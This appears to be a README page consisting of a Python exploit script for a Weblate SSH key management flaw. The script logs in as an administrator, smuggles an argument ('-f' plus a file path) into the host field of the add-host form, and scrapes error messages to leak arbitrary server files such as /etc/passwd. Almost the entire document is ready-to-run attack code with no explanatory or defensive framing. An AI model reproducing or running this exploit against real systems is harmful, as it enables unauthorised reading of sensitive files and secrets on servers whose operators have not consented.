README.md
Rendering markdown...
#!/usr/bin/env python
import requests
import argparse
import re
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Debug configuration
proxies = {
"http": "http://127.0.0.1:8080",
}
AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.4495.75 Safari/537.36"
def parse_response(html_content):
soup = BeautifulSoup(html_content, 'html.parser')
# Look for the error block where the leaked data resides
error_div = soup.find('div', class_='alert-danger')
if not error_div:
return "[-] Data block not found in the response."
raw_text = error_div.get_text()
patterns = [
r"getaddrinfo\s+(.*?):\s+Name or service not known",
r"write\s+\((.*?)\):\s+Connection refused",
r"connect\s+[`'‘](.*?)['’]:\s+Network is unreachable"
]
extracted_lines = []
for pattern in patterns:
matches = re.findall(pattern, raw_text, re.MULTILINE)
for m in matches:
line = m.strip()
if line and "Could not get host key" not in line:
extracted_lines.append(line)
if not extracted_lines:
return f"[-] Extraction failed. Raw text snippet: {raw_text[:100]}..."
return "\n".join(list(dict.fromkeys(extracted_lines)))
def exploit(session, rhost, file):
response_get = session.get(rhost, verify=False)
soup = BeautifulSoup(response_get.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
endpoint = '/manage/ssh/'
url = f"{rhost.rstrip('/')}{endpoint}"
payload = f'-f{file}'
headers = {
"User-Agent": AGENT,
"Referer": f"{rhost.rstrip('/')}/manage/ssh/"
}
data = {
"csrfmiddlewaretoken": csrf_token,
"host": payload,
"port": 123,
"action": "add-host"
}
print(f"[*] Sending payload to {url}, this could take some time, please be patient...")
r = session.post(url, data=data, headers=headers, verify=False)
print("\n[+] Extracted file content:")
print("-" * 50)
print(parse_response(r.text))
print("-" * 50)
print(f"[!] Exploit finished")
def login(rhost, username, password):
session = requests.Session()
login_url = f"{rhost.rstrip('/')}/accounts/login/"
try:
response_get = session.get(login_url, verify=False)
soup = BeautifulSoup(response_get.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
headers = {
"User-Agent": AGENT,
"Referer": login_url,
"Origin": rhost,
"Content-Type": "application/x-www-form-urlencoded"
}
payload = {
"csrfmiddlewaretoken": csrf_token,
"username": username,
"password": password,
"next": "/"
}
response_post = session.post(login_url, data=payload, headers=headers, verify=False)
if response_post.status_code == 200 and "logout" in response_post.text.lower():
print(f"\n[+] Login successful for user: {username}")
return session
else:
print("[-] Login failed. Please check your credentials or CSRF token.")
return None
except Exception as e:
print(f"[!] Network Error: {e}")
return None
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Exploit script for Weblate SSH key management vulnerability.")
parser.add_argument('-r','--rhost', type=str, required=True, help="Weblate Host (e.g., https://vulnerable-site.com)")
parser.add_argument('-u','--username', type=str, required=True, help="Weblate Administrator Username")
parser.add_argument('-p','--password', type=str, required=True, help="Weblate Administrator Password")
parser.add_argument('-f','--file', type=str, required=True, help="Path to the file to read (e.g., /etc/passwd)")
args = parser.parse_args()
auth_session = login(args.rhost, args.username, args.password)
if auth_session:
exploit(auth_session, args.rhost, args.file)